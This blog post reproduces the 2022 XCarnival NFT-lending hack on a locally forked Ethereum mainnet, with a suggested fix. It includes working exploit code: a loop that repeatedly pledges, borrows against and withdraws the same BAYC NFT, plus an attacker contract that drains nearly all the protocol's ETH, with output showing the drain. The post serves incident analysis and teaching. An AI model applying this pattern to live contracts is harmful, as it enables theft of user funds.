Reproduce the XCarnival Hack with Hardhat

By: Chen Li (Backend Software Engineer)27 July 2022

Due to a business logic bug in the XCarnival smart contract, xcarnival-lab lost 3087 ETH to a hacker. XCarnival promptly negotiated with the hacker and got back 1467 ETH. You can find the original official post here.

This hack is quite interesting, first is the XCarnival contracts only deployed in less than one month, and second is that the negotiations happened on Ethereum, you can visit the hacker address on etherescan and see all the negotiations from the transactions listed there.

The official explanation of the hack is,

“The overall logic is that the hacker first generates multiple contract addresses, then goes to call the XNFT contract, pledges the NFT, then generates an orderld, then withdraws the NFT, multiple times this operation, then calls the XToken contract’s borrow() through the previous contract address as well as the orderld in the call to borrow(), there is no judgment that the NFT has been withdrawn, so the hacker borrowed and then did not pay it back, then keeps repeating this operation.”

From what I found out, the hack can happen not only because there is no check whether the NFT has been withdrawn, but also because there is no check whether the NFT is already pledged. The hacker can generate as many orderIds as he/she wants with the same piece of NFT. And the orderId is monotonically increased, and thus predictable, making the hack more convenient.

The following is a list of the steps the hack could happen:

  1. The hacker bought a piece of NFT. In the real hack, it’s a BoredApeYachtClub NFT with id 5110, it cost about 75 ETH to the hacker.
  2. The hacker approves the XNFT contract to spend this NFT.
  3. The hacker pledges the NFT, which transfers the NFT to XCarnival which generates an orderId, which can be read from the Ethereum event logs.
  4. The hacker borrows Ethereum using the orderId. This essentially transfers Ethereum from the XCarnival account to the hacker.
  5. The hacker withdraws the NFT, this is necessary to reset the owner of the NFT so that he can pledge the same NFT again. This step can be swapped with the previous step, as the borrow function in the XToken contract does not check whether the NFT has been withdrawn.
  6. Repeat the above four steps, until all cash in XCarnival is drained.

Next we will demonstrate how to implement the hack on a local machine with hardhat. You can find more information about hardhat here.

Project Setup

Clone and setup the project:

git clone https://github.com/cassc/xcarnival-test
cd xcarnival-test
npm i

Locating the contracts

The attack happens at the transaction 0x51cbfd46f21afb44da4fa971f220bd28a14530e1d5da5009cfbdfee012e57e35, we can locate all the relevant contracts by tracing all the participants in the transactions. We can get almost all of the source code of the relevant contracts, except the contracts deployed by the hacker. If you don’t want to go through etherscan to search and download the contracts, you can also find all the contracts from my repo at https://github.com/cassc/xcarnival-contracts.

Forking the mainnet

Thanks to hardhat, we can fork the Ethereum mainnet, we can also specify a block number to start with, this allows us to travel back in time. I’ll use the block 15028719, which is a few blocks before the hack happens and after the hacker bought the NFT 5110.

Add the following in the hardhat configuration hardhat.config.js, you can get endpoint from https://infura.io/ for free.

module.exports = {
  // ...
  networks: {
    hardhat: {
      forking: {
        url: "https://mainnet.infura.io/v3/[infura-api-key]", 
        blockNumber: 15028719,
      }
    }
  },
};

Unlock the hacker account

To perform our test, we need to have access to the hacker account, hardhat allows us to unlock any account on Ethereum. Unlocking an account essentially means that we can impersonate the account, as if we have the private key of the account. To unlock the hacker account with hardhat, we simply invoke the hardhat_impersonateAccount method:

await hre.network.provider.request({
  method: "hardhat_impersonateAccount",
  params: ["0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a"],
});

Inspect the victim contracts

The two contracts of interest are XToken and XNFT. However thanks to the TransparentUpgradeableProxy pattern, all the non-admin contract invocations are delegated by the proxies, the contracts we need to interact with are actually at 0xb38707e31c813f832ef71c70731ed80b45b85b2d for XToken and 0xb14b3b9682990ccc16f52eb04146c3ceab01169a for XNFT respectively.

Create the attack

First we print out the balances of some addresses involved in the hack, just to confirm we are indeed at the expected history block:

const players = [
  {name: "exploiter", addr: "0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a", id: "exploiter"},
  {name: "xToken admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "xtokenAdmin"},
  {name: "Interest model admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "modelAdmin"},
  {name: "Controller admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "controllerAdmin"},
  {name: "xNFT admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "xnftAdmin"},
  {name: "xAirDrop admin", addr: "0xc087629431256745e6e3d87b3ec14e8b42d47e48", id: "xairdropAdmin"},
];

for (const player of players) {
  const addr = player.addr;
  const name = player.name;
  const balance = await ethers.provider.getBalance(addr);
  console.log(name, addr, "balance:", toEther(balance), "ETH");
}

We get the following, the hacker had around 27 ETH in his account, it looks like we are at the right point of time in blockchain history:

// exploiter 0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a balance: 27.69746933937151467 ETH
// xToken admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
// Interest model admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
// Controller admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
// xNFT admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
// xAirDrop admin 0xc087629431256745e6e3d87b3ec14e8b42d47e48 balance: 0.345865709517814911 ETH

We can also get the balance held by the XCarnival contract which will eventually drained by the hacker:

console.log("Total XToken cash:", toEther(await xtoken.totalCash()));
// Total XToken cash: 3014.418576385059098519

Next, we get the relevant contracts,

const XToken = await ethers.getContractFactory("XToken");
const exploiterSigner = await ethers.getSigner(exploiter);
const xtoken = await XToken.attach(addr_proxy_xtoken).connect(exploiterSigner);

console.log("XToken address:", xtoken.address);
console.log("Total XToken borrows:", toEther(await xtoken.totalBorrows()));
console.log("Total XToken cash:", toEther(await xtoken.totalCash()));
console.log("Total XToken reserves:", toEther(await xtoken.totalReserves()));

const XNFT = await ethers.getContractFactory("XNFT");
const xnft = await XNFT.attach(addr_proxy_xnft).connect(exploiterSigner);
const tokenId = 5110;
const collectionAddr = "0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d"; /** BAYC */

/** https://hardhat.org/hardhat-runner/plugins/nomiclabs-hardhat-ethers#helpers */
/** Get interface contract by deployed address */
/** Hacker owns BAYC NFT 5110 */
const bayc = await ethers.getContractAt("IERC721Upgradeable", collectionAddr, exploiterSigner);

The exploiterSigner parameter is necessary when connecting to a deployed contract. The transactions created by subsequent contract invocations will be signed by the exploiterSigner instead of the hardhat default signer.

We try 10 attacks, try to borrow 30 ETH each time with the same piece of NFT:

let orderId = 0;
console.log("Attack by sending many transactions without smart contract ...");

const numTx = 10;
for (let i=0; i<numTx; i++) {
  await bayc.approve(xnft.address, tokenId);
  await xnft.pledge721(collectionAddr, tokenId);
  const filterPledgeEvent = xnft.filters.Pledge();
  const events = await xnft.queryFilter(filterPledgeEvent, -1); /** Get events from last block */
  orderId = _.last(events).args[2];
  console.log("Order Id after pledge:", orderId);
  xtoken.borrow(orderId, exploiter, ethers.utils.parseEther("30"));
  xnft.withdrawNFT(orderId);
}

console.log("Exploiter balance:", toEther(await ethers.provider.getBalance(exploiter)), "ETH");
console.log("XToken total cash:", toEther(await xtoken.totalCash()));

This is what we get,

// Attack by sending many transactions without smart contract ...
// Order Id after pledge: BigNumber { value: "11" }
// Order Id after pledge: BigNumber { value: "12" }
// Order Id after pledge: BigNumber { value: "13" }
// Order Id after pledge: BigNumber { value: "14" }
// Order Id after pledge: BigNumber { value: "15" }
// Order Id after pledge: BigNumber { value: "16" }
// Order Id after pledge: BigNumber { value: "17" }
// Order Id after pledge: BigNumber { value: "18" }
// Order Id after pledge: BigNumber { value: "19" }
// Order Id after pledge: BigNumber { value: "20" }
// Exploiter balance: 297.654300729617051013 ETH
// XToken total cash: 2714.418576385059098519

The attack works, just as explained in the XCarnival official blog. The value 30 ETH used in the attack is arbitrary, as long as it is smaller than the NFT price, which would be acquired by an oracle contract during the transaction, minus certain premium.

We also notice that the orderId is sequential, this means we can calculate the next orderId if we know the previous orderId, this allows us to carry on the hack much more efficiently using a smart contract:

contract Attack is IERC721ReceiverUpgradeable {
  // ...

  /** the target contract uses sequential orderIds, so we can calculate the next orderId */
  /** and use one function to attack */
  function attack(uint256 _orderId, uint256 count) external onlyAdmin {
    uint256 orderId = _orderId;
    for (uint256 i=0; i<count; i++) {
      pledge();
      borrow(orderId);
      orderId = orderId +1;
    }
  }
  // ...
}

And only two more transactions are needed to drain the XCarnival account:

/** Attack with the help of an attacker contract */
// ...
  
await attacker.attack(orderId, 50);
orderId = orderId.add(50);
await attacker.attack(orderId, 40);
await attacker.withdraw();  

console.log("Exploiter balance:", toEther(await ethers.provider.getBalance(exploiter)), "ETH");
console.log("XToken total cash:", toEther(await xtoken.totalCash()));

After these two transactions, we can see that the hacker can get almost all the Ethereum in the XCarnival account.

// Attack by using smart contract ...
// Exploiter balance: 3027.618537522880197826 ETH
// XToken total cash: 14.418576385059098519

Summary

Even the hack that happened to XCarnival is very likely different from this demo, we can see that a simple mistake can lead to a huge disaster. Smart contracts might be easy to implement in terms of functionality, but it’s absolutely not trivial to make it secure. The popularity of libraries or frameworks like OpenZeppelin might remove the common bugs like integer overflow or re-entrancy bugs, but the developers are still responsible to make sure the business logic is correct.

As for this case, I think the NFT collector address and tokenId should be used together, instead of the orderId, to check whether a person could borrow with a pledged NFT.

Source code of this demo can be found here. Thanks for reading!

Copyright 2024 © Singapore Blockchain Innovation Programme. All rights reserved.